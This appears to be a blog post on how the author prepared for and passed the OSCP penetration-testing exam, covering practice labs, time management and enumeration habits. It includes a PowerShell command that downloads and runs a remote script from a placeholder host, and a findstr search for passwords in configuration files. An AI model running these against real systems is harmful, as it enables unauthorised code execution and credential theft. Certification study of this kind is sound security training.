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How to pass the OSCP

The meaning of Try Harder
The OSCP exam is one of the hardest certifications for pentesters out there. Many people take this exam to test their pentesting abilities and most of them don’t pass it in the first attempt. Here I will show you how I prepared myself and how you can obtain the certification too.
User icon Jonathan Armas
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2019-12-04



My background before taking the exam was two years of work at Fluid Attacks as a penetration tester, this means that I already had the know-how of a penetration test and how to build a technical report of my findings. However, if you don’t have the experience on the field or you are starting just now, this post will help you pass your exam.

The most important phase on a penetration test is scanning. Here you will use your tools to get information about your target like operating system, open ports, services running on those ports, their versions, whether they have public vulnerabilities or not and whether there is a public exploit for those vulnerabilities. Since metasploit is restricted to only ONE machine (this includes the auxiliary modules too) you need to make yourself comfortable with tools such as:

The only way to do this is by using them continuously until you develop a solid enumeration strategy. To help with this, there are services like hackthebox and vulnhub, where you will find vulnerable machines to test your skills.

owned-machines

Furthermore, there you can practice the gaining access phase and your privilege escalation strategies with multiple operating systems and vulnerabilities that resemble the ones in real life scenarios. You would be surprised by how many times I’ve encountered a vulnerability on hackthebox first and then on a real life service. The tools and resources that I got the most from for privilege escalation were:

I recommend to hack all the live machines that you can without any help and get some points on the platform. With this you will get used to the tools and strengthen your mentality in order to take the exam. If you can’t hack a machine and it gets removed, you can check the walkthrough by Ippsec and learn new things. You can learn stuff from these videos even for machines you did root. Do this for at least one month or, if you have zero experience, two months.

Attacking the lab

I had a month of lab access, so the approach that I took to the course and the lab was splitting them by days, one to concentrate on the guide and take notes of interesting things that I didn’t know and a day for attacking the lab machines.

When you are working on the machines, try to also work on your time management; do not spend too much time on one machine when you can try another one, as this skill is very important when you are taking your exam because things can go south.

Before your lab access ends, be sure to fully understand how to do a buffer overflow, take notes of every step, copy all the commands that you need and also how to get the return address. This will help greatly in your exam.

Post lab

Here you want to gather the most information about the last two steps and put it to a test. We are going back to hackthebox but instead of doing the active machines we are going to do the ones from this list (there are also some from vulnhub).

oscp-like-machines

Try to conquer those machines without the aid of walkthroughs, and when you finish one, you will look at these to check whether there is another way in and practice it.

The day before, I did nothing. Your body and mind need to rest and you should not try to cram before the test. Eat your favourite foods (pancakes, pizza and sushi), enjoy yourself with a well deserved dessert and watch movies and series that you left behind while studying.

The exam

The task is to gain administrative access to the machines in the network. There are 5 machines, each is worth a certain number of points if you complete it and you need at least 70 points to pass the exam. The machine points are distributed as:

  • 25 points Buffer Overflow

  • 25 points machine

  • Two 20 points machines

  • 10 points machine

I started with the 25 points BoF machine while I scanned all the other ones, this because I knew that I could follow the guide step by step and get the points. My scanning strategy was to run nmap with these options:

nmap with options
$ nmap ip.ip.ip.ip -A -p- --min-rate=5000 --max-retries=5 -o tcp.txt

Also, I pinged the machine in order to view its operative system, if the TTL (Time to Live) is 64 then it is a Linux machine and if it is 128 then it’s a Windows machine. When the port scan finished I checked every web service and used a web crawler like dirbuster or dirsearch.

After finishing the BoF machine, I could start hacking the machines with all the information that I’d collected. I ended up on rabbit holes trying to gain admin privileges on the 25-pointer machine, soon enough I decided to switch to both 20-pointer and finally the 10-pointer machine.

For privilege escalation I first checked the operative system version and kernel, this can be done by running:

$ uname -a #linux
> systeminfo #windows

If it was Linux I checked for sudo rights, running processes and for SUID executables. There is a tool named linenum but it’s too verbose and I like to search for things manually:

$ sudo -l
$ ps -aux
$ find / -perm -u=s -type f 2>/dev/null

If it was Windows, I checked for the Groups.xml file (usually it has administrative user and password there), installed software and tried to use powershell to run Windows exploits. When it comes to Windows, most of the time the way of escalating privileges is through a vulnerability in the OS version or in an installed program version.

> findstr /si password *.xml *.ini *.txt *.config 2>nul
> IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')

I finished my test in less than 10 hours with 4 admins and 1 user, this was a little more than 75 points. The mistake that I made was to be lazy with my screenshots so I needed to redo all the machines to get all of my evidences (DON’T DO THIS). The next day I did my technical documentation, the advice here is to put everything that you did from the scanning phase up to the privilege escalation phase. Also, if you modified an exploit (even if is only one line) put it on the report and mark what you modified. Then it was only a matter of waiting for the response.

oscp-win

What you can take

The OSCP is surely a hard certification but it’s not impossible. The steps previous to the lab are going to help you to get the most out of the course and to have your own routine when it comes to doing a penetration test. The enumeration and scanning phases are the most important ones in the whole process as you can spend hours going through rabbit holes if you do not do this step properly, so be sure that you dominate yours. A mental toughness is needed to pass this test so be prepared to think quickly and creatively, daisy chaining vulnerabilities and rest when it is needed. The discord groups of hackthebox and OFFSEC are at your disposal to solve your questions or give you hints where you need them, so try harder.


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Jonathan Armas

Systems Engineer, OSCP - Security+

"Be formless, shapeless like water" Bruce Lee



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